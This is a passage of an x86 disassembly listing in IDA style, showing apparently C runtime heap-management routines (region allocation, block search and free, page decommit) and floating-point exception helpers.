; ---------------------------------------------------------------------------


loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax


loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41BB80:loc_41BD4Fp
		cmp	dword_433EA0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_433E90
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------


loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
		push	dword_4CF024
		call	near ptr 2720000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5


loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_433E90
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_433E90, 0
		jnz	short loc_41B908
		mov	off_433E90, eax


loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_433E94, 0
		jnz	short loc_41B92D
		mov	off_433E94, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------


loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_433E94
		mov	[esi+4], eax
		mov	off_433E94, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------


loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------


loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28516B7h


loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_433E90
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_4CF024
		call	near ptr 2710366h
		nop


loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax


loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 28516B7h
		nop
		cmp	off_435EB0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_435EB0, eax


loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_433E90
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4CF024
		nop
		call	near ptr 2710366h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_433EA0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_433E94
		push	edi


loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 28516B7h
		nop
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4CDA1C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81


loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi


loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96


loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48


loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD


loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx


loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_433E94
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F


loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_433E90
		push	esi
		mov	ecx, edx


loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02


loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------


loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_4CDA1C
		cmp	dword_4CDA1C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_435EB0
		push	edi


loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3


loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]


loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C


loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx


loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------


loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]


loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_435EB0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------


loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_435EB0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------


loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_433E90
		mov	edi, eax


loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A


loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------


loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9


loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98


loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2851801h
		nop
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6


loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_435EB0, edi
		lea	eax, [edi+2018h]


loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------


loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax


loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_435EB0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax


loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------


loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi


loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20


loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------


loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5


loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------


loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi


loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD


loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]


loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------


loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------


loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------


loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax


loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]


loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------


loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi


loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33


loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C


loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1


loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_436608, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_4CD9B4, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h


loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_436608, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


